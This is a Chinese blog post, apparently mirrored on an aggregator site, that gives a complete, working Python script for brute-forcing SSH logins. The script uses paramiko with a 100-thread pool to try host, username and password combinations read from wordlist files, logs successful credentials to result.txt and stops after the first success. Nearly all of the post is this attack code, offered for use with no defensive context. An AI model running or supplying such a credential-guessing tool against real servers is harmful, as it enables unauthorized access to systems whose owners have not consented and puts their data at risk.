zoukankan      html  css  js  c++  java
  • Python SSH爆破以及Python3线程池控制线程数

    源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好

    #!usr/bin/env python
    #!coding=utf-8
    
    __author__='Akkuman'
    '''
    SSH爆破,由于多线程的问题,我不知道怎么做可以出现结果马上停止(会查的,有更好的方法再改)
    现在我的方法是定义了一个全局的信号finish_flag,然后每个线程检查这个信号
    线程池用的concurrent.futures.ThreadPoolExecutor,是Py3的特性,py2需要安装其他的包
    成功结果写到了result.txt,可以通过检查目录下的result.txt文件查看结果
    '''
    
    import paramiko
    from concurrent.futures import ThreadPoolExecutor
    import sys
    
    finish_flag = False
    
    def connect(host,user,pwd):
        global finish_flag
        if finish_flag:
            sys.exit()
        try:
            ssh=paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(hostname=host,username=user,password=pwd)
            print ("[-]Login Succ u:%s p:%s h:%s"%(user,pwd,host))
            with open('result.txt','a+') as f:
                f.write("h:%s u:%s p:%s
    "%(host,user,pwd))
            finish_flag = True
        except paramiko.ssh_exception.SSHException as err:
            print("[x]Login Fail u:%s p:%s"%(user,pwd))
        finally:
            ssh.close()
            return
    
    # 取得一个hostip,username,password
    def getInfo():
        # 遍历ip
        with open('host.txt') as hosts:
            for host in hosts:
                hostip = host.strip()
                print("[x]Target:"+host)
                # 遍历用户名
                with open('user.txt') as users:
                    for user in users:
                        username = user.strip()
                        # 遍历密码
                        with open('pwd.txt') as pwds:
                            for pwd in pwds:
                                password = pwd.strip()
                                yield hostip,username,password
    
    
    def main():
        paramiko.util.log_to_file("filename.log") 
        info = getInfo()
        # 最大线程数
        max_thread_num = 100
        executor = ThreadPoolExecutor(max_workers=max_thread_num)
        for host,user,pwd in info:
            future = executor.submit(connect,host,user,pwd)
    
    if __name__ == '__main__':
        main()
    
  • 相关阅读:
    js中eval详解
    javascript数组操作大全
    JavaScript面向对象编程深入分析
    IBatisNet系列二QuickStart篇
    IBatis.Net系列Mapped Statements的语法
    MonoRail学习-入门实例篇
    IBatisNet系列执行存储过程
    IBatis.Net系列多参数的SQL语句的配置
    Castle Startable Facility 简单理解
    wxPython创建系统托盘
  • 原文地址:https://www.cnblogs.com/Akkuman/p/8280765.html
Copyright © 2011-2022 走看看